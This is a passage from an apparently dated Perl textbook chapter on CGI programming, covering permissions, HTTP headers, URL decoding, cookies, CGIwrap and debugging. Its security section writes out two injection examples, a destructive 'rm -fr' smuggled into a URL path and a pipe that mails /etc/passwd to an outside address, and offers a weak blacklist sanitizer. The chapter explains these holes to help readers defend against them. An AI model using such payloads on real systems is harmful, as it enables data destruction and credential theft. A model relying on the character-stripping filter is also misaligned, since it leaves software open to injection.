The owner, dbewley, has full rights - read, write, and execute for this file. The group, staff, and everyone else have no rights.

Here is another example:

This time, the owner has full access while the group staff can read and execute the file. All others have no rights to this file.

Most HTML files will have permissions that look like this:

Everyone can read it, but only the user can modify or delete it. There is no need to have execute permission since HTML is not an executable language.

You can change the permissions on a file by using the chmod command. The chmod command recognizes the three classes of user as u, g, and o and the three levels of permissions as r, w, and x. It grants and revokes permissions with a + or - in conjunction with each permission that you want to change. It also will accept an a for all three classes of users at once.

The syntax of the chmod command is:

chmod <options> <file>

Here are some examples of the chmod command in action

The first ls command shows you the original file permissions. Then, the chmod command add execute permission for the owner (or user) of pfind.pl. The second ls command displays the newly changed permissions.

To add these permissions for both the group and other classes, use go+rx as in the following example. Remember, users must have at least read and execute permissions to run Perl scripts.

Now, any user can read and execute pfind.pl. Let's say a serious bug was found in pfind.pl and we don't want it to be executed by anyone. To revoke execute permission for all classes of users, use the a-x option with the chmod command.

Now, all users can read pfind.pl, but no one can execute it.

HTTP Headers

The first line of output for most CGI programs must be an HTTP header that tells the client Web browser what type of output it is sending back via STDOUT. Only scripts that are called from a server-side include are exempt from this requirement.

All HTTP headers must be followed by a blank line. Use the following line of code as a template:

print("Content Type: text/html\n\n");

Notice that the HTTP header is followed by two newline characters. This is very important. It ensures that a blank line will always follow the HTTP header.

If you have installed any helper applications for Netscape or are familiar with MIME types, you already recognize the text/plain and text/html parts of the Content Type header. They tell the remote Web browser what type of information you are sending. The two most common MIME types to use are text/plain and text/html.

The Location header is used to redirect the client Web browser to another Web page. For example, let's say that your CGI script is designed to randomly choose from among 10 different URLs in order to determine the next Web page to display. Once the new Web page is chosen, your program outputs it like this:

print("Location: $nextPage\n\n");

Once the Location header has been printed, nothing else should be printed. That is all the information that the client Web browser needs.

Cookies and the Set-cookie: header are discussed in the "Cookies" section later in this chapter.

The last type of HTTP header is the Status header. This header should be sent when an error arises in your script that your program is not equipped to handle. I feel that this HTTP header should not be used unless you are under severe time pressure to complete a project. You should try to create your own error handling routines that display a full Web page that explains the error that happened and what the user can do to fix or circumvent it. You might include the time, date, type of error, contact names and phone numbers, and any other information that might be useful to the user. Relying on the standard error messages of the Web server and browser will make your Web site less user friendly.

CGI and Environment Variables

You are already familiar with environment variables if you read Chapter 12, "Using Special Variables." When your CGI program is started, the Web server creates and initializes a number of environment variables that your program can access using the %ENV hash.

Table 19.2 contains a short description of each environment variable. A complete description of the environmental variables used in CGI programs can be found at

http://www.ast.cam.ac.uk/~drtr/cgi-spec.html

URL Encoding

One of the limitations that the WWW organizations have placed on the HTTP protocol is that the content of the commands, responses, and data that are passed between client and server should be clearly defined. It is sometimes difficult to tell simply from the context whether a space character is a field delimiter or an actual space character to add whitespace between two words.

To clear up the ambiguity, the URL encoding scheme was created. Any spaces are converted into plus (+) signs to avoid semantic ambiguities. In addition, special characters or 8-bit values are converted into their hexadecimal equivalents and prefaced with a percent sign (%). For example, the string Davy Jones <dj@planet.net> is encoded as Davy+Jones+%3Cdj@planet.net%3E. If you look closely, you see that the < character has been converted to %3C and the > character has been coverted to %3E.

Your CGI script will need to be able to convert URL encoded information back into its normal form. Fortunately, Listing 19.2 contains a function that will convert URL encoded.

Define the decodeURL() function.
Get the encoded string from the parameter array.
Translate all plus signs into spaces.
Convert character coded as hexadecimal digits into regular characters.
Return the decoded string.

Listing 19.2  19LST02.PL-How to Decode the URL Encoding

sub decodeURL {

    $_ = shift;

    tr/+/ /;

    s/%(..)/pack('c', hex($1))/eg;

    return($_);

}

This function will be used in Chapter 20, "Form Processing," to decode form information. It is presented here because canned queries also use URL encoding.

Security

CGI really has only one large security hole that I can see. If you pass information that came from a remote site to an operating system command, you are asking for trouble. I think an example is needed to understand the problem because it is not obvious.

Suppose that you had a CGI script that formatted a directory listing and generated a Web page that let visitors view the listing. In addition, let's say that the name of the directory to display was passed to your program using the PATH_INFO environment variable. The following URL could be used to call your program:

http://www.foo.com/cgi-bin/dirlist.pl/docs

Inside your program, the PATH_INFO environment variable is set to docs. In order to get the directory listing, all that is needed is a call to the ls command in UNIX or the dir command in DOS. Everything looks good, right?

But what if the program was invoked with this command line?

http://www.foo.com/cgi-bin/dirlist.pl/; rm -fr;

Now, all of a sudden, you are faced with the possibility of files being deleted because the semi-colon (;) lets multiple commands be executed on one command line.

This same type of security hole is possible any time you try to run an external command. You might be tempted to use the mail, sendmail, or grep commands to save time while writing your CGI program, but because all of these programs are easily duplicated using Perl, try to resist the temptation.

Another security hole is related to using external data to open or create files. Some enterprising hacker could use "| mail hacker@hacker.com < /etc/passwd" as the filename to mail your password file or any other file to himself.

All of these security holes can be avoided by removing the dangerous characters (like the | or pipe character).

Define the improveSecurity() function.
Copy the passed string into $_, the default search space.
Protect against command-line options by removing - and + characters.
Additional protection against command-line options.
Convert all dangerous characters into harmless underscores.
Return the $_ variable.

Listing 19.3 shows how to remove dangerous characters.

Listing 19.3  19LST03.PL-How to Remove Dangerous Characters

sub improveSecurity {

    $_ = shift;

    s/\-+(.*)/\1/g;

    s/(.*)[ \t]+\-(.*)/\1\2/g;

    tr/\$\'\`\"\<\>\/\;\!\|/_/;

    return($_);

}

CGIwrap and Security

CGIwrap (http://wwwcgi.umr.edu/~cgiwrap/) is a UNIX-based utility written by Nathan Neulinger that lets general users run CGI scripts without needing access to the server's cgi-bin directory. Normally, all scripts must be located in the server's main cgi-bin directory and all run with the same UID (user ID) as the Web server. CGIwrap performs various security checks on the scripts before changing ID to match the owner of the script. All scripts are executed with same the user ID as the user who owns them. CGIwrap works with ncSA, Apache, CERN, Netsite, and probably any other UNIX Web server.

Any files created by a CGI program are normally owned by the Web server. This can cause a problem if you need to edit or remove files created by CGI programs. You might have to ask the system administrator for help because you lack the proper auhorization. All CGI programs have the same system permissions as the Web server. If you run your Web server under the root user ID-being either very brave or very foolish-a CGI program could be tricked into erasing the entire hard drive. CGIwrap provides a way around these problems.

With CGIwrap, scripts are located in users' public_html/cgi-bin directory and run under their user ID. This means that any files the CGI program creates are owned by the same user. Damage caused by any security bugs you may have introduced-via the CGI program-will be limited to your own set of directories.

In addition to this security advantage, CGIwrap is also an excellent debugging tool. When CGIwrap is installed, it is copied to cgiwrapd, which can be used to view output of failing CGIs.

You can install CGIwrap by following these steps:

1. Obtain the source from the http://www.umr.edu/~cgiwrap/download.html Web page.
2. Ensure that you have root access.
3. Unpack and run the Configure script.
4. Type make.
5. With a user ID of root, copy the cgiwrap executable to your server's cgi-bin directory.
6. Make sure that cgiwrap is owned by root and executable by all users by typing chown root cgiwrap; chmod 4755 cgiwrap. The cgiwrap executabe must also be set UID.
7. In order to gain the debugging advantages of CGIwrap, create symbolic links to cgiwrap called cgiwrapd, nph-cgiwrap, and nph-cgiwrapd. The first symbolic link can be created by typing ln -s cgiwrap cgiwrapd. The others are created using similar commands.

CGIs that run using CGIwrap are stored in a cgi-bin directory under an individual user's public Web directory and called like this:

http://servername/cgi-bin/cgiwrap/~userid/scriptname

To debug a script run via cgiwrap, add the letter "d" to cgiwrap:

http://servername/cgi-bin/cgiwrapd/~userid/scriptname

When you use CGIwrap to debug your CGI programs, quite a lot of information will be displayed in the Web browser's window. For example, if you called a CGI program with the following URL:

http://www.engr.iupui.edu/cgi-bin/cgiwrapd/~dbewley/cookie-test.pl

The output might look like this:

Redirecting STDERR to STDOUT

Setting Limits (CPU)

Environment Variables:

   QUERY_STRING: ''

   PATH_INFO: '/~dbewley/cookie-test.pl'

   REMOTE_HOST: 'x2s5p10.dialin.iupui.edu'

   REMOTE_ADDR: '134.68.249.69'

   SCRIPT_NAME: '/cgi-bin/cgiwrapd'

Trying to extract user/script from PATH_INFO

Extracted Data:

   User:  'dbewley'

   Script:  'cookie-test.pl'

Stripping user and script data from PATH_INFO env. var.

Adding user and script to SCRIPT_NAME env. var.

Modified Environment Variables:

   PATH_INFO: ''

   SCRIPT_NAME: '/cgi-bin/cgiwrapd/dbewley/cookie-test.pl'

Sanitize user name: 'dbewley'-'dbewley'

Sanitize script name: 'cookie-test.pl'-'cookie-test.pl'

Log Request

   Opening log file.

   Writing log entry.

   Closing log file.

   Done logging request.

User Data Retrieved:

   UserName: 'dbewley'

   UID: '8670'

   GID: '200'

   Directory: '/home/stu/d/dbewley'

UIDs/GIDs Changed To:

   RUID: '8670'

   EUID: '8670'

   RGID: '200'

   EGID: '200'

Current Directory:  '/sparcus/users/dbewley/www/cgi-bin'

Results of stat:

   File Owner: '8670'

   File Group: '200'

   Exec String:  './cookie-test.pl'

Output of script follows:

=====================================================

Set-Cookie: user=dbewley; expires=Wednesday, 09-Nov-99 00:00:00 GMT;

path=/cgi-bin/; domain=.engr.iupui.edu; 

Set-Cookie: flag=black; expires=Wednesday, 09-Nov-99 00:00:00 GMT; path=/

cgi-bin/; domain=.iupui.edu; 

Set-Cookie: car=honda:accord:88:LXI:green; expires=Wednesday, 09-Nov-99

00:00:00 GMT; path=/cgi-bin/; domain=.engr.iupui.edu; 

Content-type: text/html

Cookies:<BR>

flag = black<br>

car = honda:accord:88:LXI:green<br>

user = dbewley<br>

This output can be invaluable if your script is dying because of a syntax error before it can print an HTTP header to the browser.

Cookies

Most Webmasters want to track the progress of a user from page to page as they click about the site. Unfortunately, HTTP is a stateless protocol. Stateless protocols have no memory; they only understand the current command. This makes tracking a visitor through a site difficult at best. A user could visit a site, leave, and come back a day or a minute later, possibly from a different IP address. The site maintainer has no way of knowing if this is the same browser or not.

One answer to this dilemma is to use cookies in your CGI programs. Cookies can provide a way to maintain information from one HTTP request to the next-remember the concept of persistent information?

A cookie is a small chunk of data, stored on the visitor's local hard drive by the Web server. It can be used to track your path through a Web site and develop a visitor's profile for marketing or informational purposes. Cookies can also be used to hold information like account numbers and purchase decisions so that shopping applications can be created.

Cookie Security

There has been some controversy about whether cookies are secure. Although the cookie mechanism provides a way for a Web server to write data to your hard disk the limitations are very strict. A client may only hold a maximum of 300 cookies at a time and a single server may only give 20 cookies to it. Cookies can only be 4 kilobytes each, including the name and data, so, at most, a visitor's hard disk may have 1.2 megabytes of hard disk being used to store cookies. In addition, cookie data may only be written to one file, usually called cookies.txt.

During a browsing session, Netscape stores cookies in memory, but when the browser is exited, cookies are written into a file called cookies.txt. On the Macintosh, the cookie jar is in a file called MagicCookie in the preferences folder. The cookie file contains plain text as shown in Listing 19.3.

How Are Cookies Created and Read?

Cookies are set using a Set-cookie: HTTP header with five possible fields separated with a semicolon and a space. These fields are:

• cookie-name=cookie-value;-name of the cookie and its value. The name and the value combined must be less than 4 kilobytes in length.
• expiration=expiration-date;-the date the cookie will be deleted from the cookie file. You can delete a previously set cookie ahead of schedule by creating a second cookie with the same name, path, and domain, but with an expiration date in the past.
• path=cookie-path;-combines with the domain name to determine when a browser should show a cookie to the server.
• domain=server-domain;-used to determine when a browser should show a cookie to the server. Usually, cookies are created with the Web server's name without the www. For example, .foo.net instead of www.foo.net. Notice that the leading period is retained.
• secure-ensures that the cookie will be sent back only to the server when a secure HTTP connection has been established.

When all of these elements are put together, they look like this:

Set-Cookie: user_addr=ppp1.dialin.iupui.edu;

expires=Wednesday, 09-Nov-99 00:00:00 GMT; path=/cgi-bin/;

domain=.engr.iupui.edu; secure

Listing 19.4 contains a program that both sets and read cookies. First, it will create four cookies and then it will read those cookies from the HTTP_COOKIE environment variable. Inside the HTTP_COOKIE environment variable, the cookies are delimited by a semicolon and a space. The cookie fields are separated by commas, and the name-value pairs are separated by equal signs. In order to use cookies, you need to parse the HTTP_COOKIE variable at three different levels.

Turn on the warning option.
Turn on the strict pragma.
Declare a variable to hold the expiration date and time of the cookies.
Declare a variable to hold the domain name.
Declare a variable to hold the path name.
Set four cookies with different values.
Read those four cookies from the environment; place them into %cookies.
Start the HTML Web page.
Display a text heading on the Web page.
Start an HTML table.
Display each cookie in a table row.
End the table.
End the Web page.
Define the setCookie() function.
Create local variables from the parameter array.
Send the Set-Cookie: HTTP header to the Web browser.
Send the secure option only if requested.
End the header with a newline.
Define the getCookies() function.
Create a local hash to hold the cookies.
Iterate over an array created by splitting the HTTP_COOKIE environment
variable based on the ";" character sequence.
Split off the name of the cookie.
Create a hash entry with the cookie's name as the key and the rest of the cookie as the entry's value.
Return the hash.

Listing 19.4  19LST04.PL-How to Set and Retrieve Cookies

#!/usr/local/bin/perl -w

use strict;



my($expDate)   = "Wednesday, 09-Nov-99 00:00:00 GMT";

my($theDomain) = ".engr.iupui.edu";

my($path)      = "/cgi-bin/";



setCookie("user", "dbewley", $expDate, $path, $theDomain);



setCookie("user_addr", $ENV{'REMOTE_HOST'}, $expDate, $path, $theDomain)

    if defined($ENV{'REMOTE_HOST'});



setCookie("flag", "black", $expDate, $path, ".iupui.edu");

setCookie("car", "honda:accord:88:LXI:green", $expDate, $path, 

$theDomain);



my(%cookies) = getCookies();



print("Content-type: text/html\n\n");

print("<HTML>");

print("<HEAD><TITLE>The Cookie Display</TITLE></HEAD>");

print("<BODY>");

print("<H1>Cookies</H1>");

print("<TABLE BORDER=1 CELLPADDING=10>");

foreach (sort(keys(%cookies))) {

    print("<TR><TD>$_</TD><TD>$cookies{$_}</TD></TR>");

}

print("</TABLE>");

print("</BODY>");

print("</HTML>");





sub setCookie {

    my($name, $val, $exp, $path, $dom, $secure) = @_;



    print("Set-Cookie: ");

    print("$name=$val, expires=$exp, path=$path, domain=$dom");

    print(", $secure") if defined($secure);

    print("\n");

}



sub getCookies {

    my(%cookies);



    foreach (split (/; /,$ENV{'HTTP_COOKIE'})){

        my($key) = split(/=/, $_);



        $cookies{$key} = substr($_, index($_, "=")+1);

    } 

    return(%cookies);

}

This program shows that the Web server stores a copy of any cookies that you set into the HTTP_COOKIE environment variable. It only performs one level of parsing. In order to create a really useful getCookies() function, you need to split the cookie on the comma character and then again on the equals character.

Can a Visitor's Browser Support Cookies?

One difficulty that you may have in using cookies is that not every browser can support them. If you are using cookies, you need a user-friendly way of telling a visitor that the feature he or she is trying to use is not available to him or her.

Listing 19.5 contains a script that shows you a nice way of automatically determining if a visitor's Web browser supports cookies. The CGI program will set a cookie and then redirect the visitor's Web browser back to itself with some additional path information. When the script (during its second invocation) sees the extra path information, it checks for the previously created cookie. If it exists, the visitor's browser has passed the test. Otherwise, the visitor's browser does not support cookies.

Turn on the warning option.
Turn on the strict pragma.
If there is no query information, then set a cookie and reload the script.
Otherwise, see if the cookie set before the reload exits.
If the cookie exists, the browser supports cookies.
If the cookie does not exist, the browser does not support cookies.

Listing 19.5  19LST05.PL-How to Tell Whether the Visitor's Browser Supports Cookies

#!/usr/bin/perl -w

use strict;



if ($ENV{'QUERY_STRING'} ne 'TESTING') {

    print "HTTP/1.0 302 Moved Temporarily\n"; 

    print "Set-Cookie: Cookie=Test\n";

    print "Location: $ENV{'SCRIPT_NAME'}?TESTING\n\n";

}

else {

    if ($ENV{'HTTP_COOKIE'} =~ /Cookie=Test/) {

        print("Content-type: text/html\n\n");

        print("<HTML>");

        print("<HEAD><TITLE>$ENV{'HTTP_USER_AGENT'} supports Cookies

</TITLE></HEAD>");

        print("<BODY>");

        print("Your browser, $ENV{'HTTP_USER_AGENT'}, supports the

Netscape HTTP ");

        print("Cookie Specification.");

        print("</BODY></HTML>");

    }

    else {

        print("Content-type: text/html\n\n");

        print("<HTML>");

        print("<HEAD><TITLE>$ENV{'HTTP_USER_AGENT'} doesn't support

Cookies</TITLE></HEAD>");

        print("<BODY>");

        print("Your browser, $ENV{'HTTP_USER_AGENT'}, doesn't appear to

support cookies.");

        print("Cookie Specification.");

        print("</BODY></HTML>");

    }

}

Debugging CGI Programs

One of the main reasons to use CGI programs is to generate HTML documents. When something goes wrong, the common error message will be 500 Server Error. This message can be caused by several things. For example, the #! comment at the top of your script could be invalid, the first line of output was an invalid HTTP header, there might not be a blank line after the HTTP header, or you could simply have a syntax error.

Sending Output to the Server's Log File

When your CGI program starts, the STDERR file handle is connected to the server's error log. You can use STDERR to save status messages that you don't want the user to see. The advantage of using STDERR is that you don't need to open or close a file. In addition, you'll always know where the messages are. This is important if you're working on a team.

Send the HTTP header indicating a plain text document.
Send a line of text.
Call the logError() function to send a message to the server's log file.
Send a line of text.
Define the logError() function
Declare a local variable to hold the message.
Print the message to STDERR with a timestamp.
Define the timeStamp() function.
Declare some local variables to hold the current date and time.
Call the zeroFill() function to format the numbers.
Return a formatted string holding the current date and time.
Define the zeroFill() function-turns "1" into "01."
Declare a local variable to hold the number to be filled.
Declare a local variable to hold the string length that is needed.
Find difference between current string length and needed length.
If the string is big enough (like "12"), then return it.
If the string is too big, prefix it with some zeroes.

Listing 19.6  19LST06.PL-Sending Messages to the Server's Error Log

print("Content-type: text/plain\n\n");

print("This is line one.\n");

logError("GOOD Status\n");

logError("BAD  Status\n");

print("This is line two.\n"); 



sub logError {

    my($msg) = shift;

    print STDERR (timeStamp(), " $msg");

}



sub timeStamp {

    my($sec, $min, $hour, $mday, $mon, $year) = (localtime(time))[0..5];

    $mon  = zeroFill($mon, 2);

    $hour = zeroFill($hour, 2);

    $min  = zeroFill($min, 2);

    $sec  = zeroFill($sec, 2);

    return("$mon/$mday/$year, $hour:$min:sec");

}



sub zeroFill {

    my($temp) = shift;

    my($len)  = shift;

    my($diff) = $len - length($temp);



    return($temp) if $diff <= 0;

    return(('0' x $diff) . $temp);

}

Sending STDERR to the Web Browser

If you want your users to see the error messages your script generates, use the open() function to redirect STDERR to STDOUT like this:

open(STDERR, ">&STDOUT");

After that statement is executed, the output of all print statements that use the STDERR file handle will be displayed in the Web browser window.

You need to be a little careful when using this ability. Your normal error messages will not have the HTML tags required to make them display properly.

CGITap

CGITap (http://scendtek.com/cgitap/) is a CGI debugging aid that can help pinpoint the problem in a troubling CGI application. CGITap installs in the cgi-bin directory and runs any CGI programs in "tap mode." Tap mode runs the CGI program as normal; however, the output contains additional diagnostic and environment information. This information can greatly speed up the process of debugging your CGI scripts.

CGITap may be installed in any CGI enabled directory and requires perl4.036 or later. You can install CGITap by following these steps:

1. Download the CGITap script from the http://scendtek.com/cgitap/ Web page.
2. Install CGITap in a CGI enabled directory-typically named cgi-bin.
3. As with any Perl script, be sure the first line of CGITap contains the correct path to your system's Perl interpreter. You should be familiar with the location. If not, try typing which perl on the UNIX command line.
4. Check the file permissions to ensure that CGITap is executable.CGITap has two methods of debugging. The first is adequate for simple CGI applications that do not use HTML forms for input. The second method is used for CGI programs that process HTML form information.

For simple CGIs, add cgitap to the URL. For example, normally a CGI program that just prints the date is called like this:

http://localhost/cgi-bin/date

That CGI program might display the following in the browser's window:

Sun Aug 18 16:07:37 EST 1996

In order to use CGITap for debugging, use a similar URL but with cgitap inserted.

http://localhost/cgi-bin/cgitap/date

CGITap will extract your CGI program's name, display the CGI environment to the browser, perform some checks on the program, then execute the program and return the actual results (both in HTML source and the actual document).

CGI programs that process HTML forms will be discussed in Chapter 20, "Form Processing," but while I'm talking about CGITap, let me also mention how to use CGITap with HTML forms. A slightly more complicated method must be used for debugging complex CGI scripts that require form processing.

The URL of a form's action is hard coded (via the ACTION modifier of the <FORM> tag) and you may not want to change it to include cgitap. To allow CGITap to execute automatically when the form posts to its normal action URL, you can make use of UNIX symbolic links. If you are using Windows NT or Windows 95, you must change the URL in the HTML form. The steps for UNIX platforms are:

1. Move your CGI script to a new script called yourscript.tap by typing mv yourscript yourscript.tap.
2. Make a symbolic link called yourscript to cgitap by typing ln -s cgitap yourscript.For example, let's assume you have a CGI script called mailit that processes form input data, mails the information to you, and returns an HTML page to the Web browser. To debug this script, move mailit to mailit.tap, using the following command:

mv mailit mailit.tap

Then create a link to cgitap, using this command:

ln -s cgitap mailit

Now, you can fill in the HTML form and submit it as usual.

This method allows UNIX-based scripts and forms to be debugged without having to change hard-coded URLs in your HTML documents. When the form is posted, the results will be the CGITap debugging information, followed by the normal output of mailit.

Generating an Error HTML Page

It is a good idea to isolate all program statements that have a high probability to generate errors at the beginning of your program, or, at least, before the HTTP header is sent. This lets you create HTML response pages that correspond to the specific error that was encountered. Listing 19.7 shows a simple example of this concept. You could expand this example to cover many different errors that can occur.

Try (and fail) to open a file. Call the error() function.
Define the error() function.
Declare a local variable to hold the error message string.
Output an HTML page to display the error message.

Listing 19.7  19LST07.PL-Generating an Error Response Using HTML

open(FILE, 'AAAA.AAA') or error("Could not open file AAAA.AAA");



sub error {

    my($message) = @_;



    print("Content-type: text/html\n\n");

    print("<HTML>\n");

    print("<HEAD><TITLE>CGI Error</TITLE></HEAD>\n");

    print("<H1>Status: 500 An Error Has Occurred</H1>\n");

    print("<HR>\n");

    print("$message\n");

    print("</BODY>\n");

    print("</HTML>\n");

}

I'm sure you agree that error messages that you provide are more informative than the standard ones.

Summary

This chapter certainly covered a lot of material. It started by defining CGI as an interface between Web servers and external programs. Then, you read why Perl is a great programming language to use when writing CGI programs. Next, the chapter touched on CGI applications versus Java applets and how they are complementary technologies.

After those introductory comments, the fun started. CGI programs were shown to be invoked by a URL. The URL could be entered directly into a Web browser or stored in a Web page as a hypertext link or the destination for HTML form information.

Before CGI program can be run under the UNIX operating systems, their file permissions need to be set correctly. Files have three types of permissions: read, write, and execute. And there are three types of users that access files: user, group, and others. CGI programs must be both readable and executable by others.

The first line of output of any CGI program must be some type of HTTP header. The most common header is Content-type:, which basically tells the Web browser what to expect (plain text, perhaps? Or maybe some HTML). The Location: header redirects the Web browser to another URL. The Set-cookie: header stores a small bit of information on the visitor's local disk. The last header is Status:, which tells the Web browser that an error has arisen.

By placing a / or ? at the end of a URL, information can be passed to the CGI program. Information after a / is placed into the PATH_INFO environment variable. Information after a ? is placed into the QUERY_STRING environment variable.

Environment variables play a big role in CGI programs. They are the principal means that Web servers use to provide information. For example, you can find out the client's IP address using the REMOTE_ADDR variable. And the SCRIPT_NAME variable contains the name of the current program.

URL encoding is used to prevent characters from being misinterpreted. For example, the < character is usually encoded as %3C. In addition, most spaces are converted into plus signs. Listing 19.1 contains a function called decodeURL() that will decode the URL encoding.

One of the biggest security risks happens when a user's data (form input or extra path information) is exposed to operating system commands such as mail or grep. Never trust user input! Always suspect the worst. Most hackers spend many hours looking at manuals and source code to find software weaknesses. You need to read about Web security in order to protect your site.

The CGIwrap program offers a way to limit the damage potential by running CGI program with a user ID that is different from the Web server's. The programs are running using the user's user ID so that damage is limited to your home directory.

Cookies are used to store information on the user's hard drive. They are a way to create persistent information that lasts from one visit to the next.

You can debug CGI programs by sending messages to the server's log file using the STDERR file handle. Or you could redirect STDERR to STDOUT so that the messages appear in the client Web browser's window. If you have a complex problem, consider using CGItap, a program that lets you see all of the environment variables available to your program.

The next chapter, "Form Processsing," will introduce you to HTML forms and how CGI programs can process form information. After the introduction, a Guest book application will be presented. Guest books let visitors leave comments that can be viewed later by other visitors.

Review Questions

Answers to Review Questions are in Appendix A.

1. Is CGI a programming language?
2. Are CGI and Java the same type of protocol?
3. Do CGI program files need to have the write turned on?
4. What is the first line of output for CGI programs?
5. What information does the HTTP_USER_AGENT contain?
6. Why is CGItap a useful program?

Review Exercises

1. Convert the program in Listing 19.1 so that it displays an HTML document.
2. Convert the program in Listing 19.1 so that it uses the Location: HTTP header.
3. Convert the program in Listing 19.1 so that it displays all environment variables. Hint: foreach (sort(keys(%ENV))) { ... }.
4. Write a CGI script that prints "Thanks, you're doing a great job!" in your Web server's error log file.